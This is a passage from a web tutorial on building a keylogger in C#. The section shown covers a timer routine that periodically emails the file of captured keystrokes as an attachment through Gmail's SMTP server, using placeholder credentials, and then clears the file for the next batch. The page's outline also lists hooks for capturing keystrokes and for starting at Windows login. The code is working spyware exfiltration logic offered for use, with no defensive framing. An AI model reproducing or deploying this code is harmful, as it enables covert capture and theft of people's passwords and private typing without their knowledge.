Creating a Simple Key Logger in C#
Written By: Dragos Nicholas
- 13 Sep 2008 -
Description: Learn how to program a simple key logger with the help of C# and the .NET Framework. And that's not all, it saves the keystrokes into a file and periodically sends the file as an email attachment.
- Creating the Project
- Running the Key Logger at Windows Startup
- You've Got Mail
- Intercepting Keystrokes
- The HookCallback Method
- API Methods
- Possible Errors
Running the Key Logger at Windows Startup
In the Main() method of this program (you will see it later) we will declare a timer. When this timer elapses, the OnTimedEvent is triggered. The application will try to send the mail message with the file that contains the keystrokes. I won't insist on the message part because you can easily deduce what every line does by yourself.
public static void OnTimedEvent(object source, EventArgs e) { System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); //create the message msg.To.Add(""); msg.To.Add(""); msg.From = new MailAddress("", "nickname", System.Text.Encoding.UTF8); msg.Subject = "whatever.you.want.to.be.in.the.message.subject"; msg.SubjectEncoding = System.Text.Encoding.UTF8; msg.Body = "whatever.you.want.to.be.in.the.message.body"; msg.BodyEncoding = System.Text.Encoding.UTF8; msg.IsBodyHtml = false; msg.Priority = MailPriority.High;
In order to send the message we need to use a SMTP server (Simple Mail Transfer Protocol). In our project, we are using Gmail's SMTP server because it's free. Just replace "" with your own gmail address and "gmail.password" with your account's password. These are needed for authentication.
SmtpClient client = new SmtpClient(); //Network Credentials for Gmail client.Credentials = new System.Net.NetworkCredential("", "gmailpassword"); client.Port = 587; client.Host = "smtp.gmail.com"; client.EnableSsl = true;
It's time to attach the file to the message. As you probably know, "appstart.path" represents the location of the file.
Attachment data = new Attachment(appstart.path); msg.Attachments.Add(data);
We will use a try – catch statement: we try to send the message, but if something wents wrong, we can hopefully handle the exceptions. To be able to write the user inputs again in the file, we must make sure that the file is not used being used by the message after it has been sent. That's why you see "data.Dispose();".
If there is a problem while sending the message, our "failed" variable turns to 1 and the file will not be emptied. If there is no problem, "failed" remains 0 and the file will get emptied in order to store the next keys. Don't forget to reset "failed" to 0, so the process can be repeated next time when the OnTimedEvent will be called.
try { client.Send(msg); failed = 0; } catch { data.Dispose(); failed = 1; } data.Dispose(); if (failed == 0) File.WriteAllText(appstart.path, ""); //empties the file failed = 0; } //end of the OnTimedEvent method }//end of the appstart class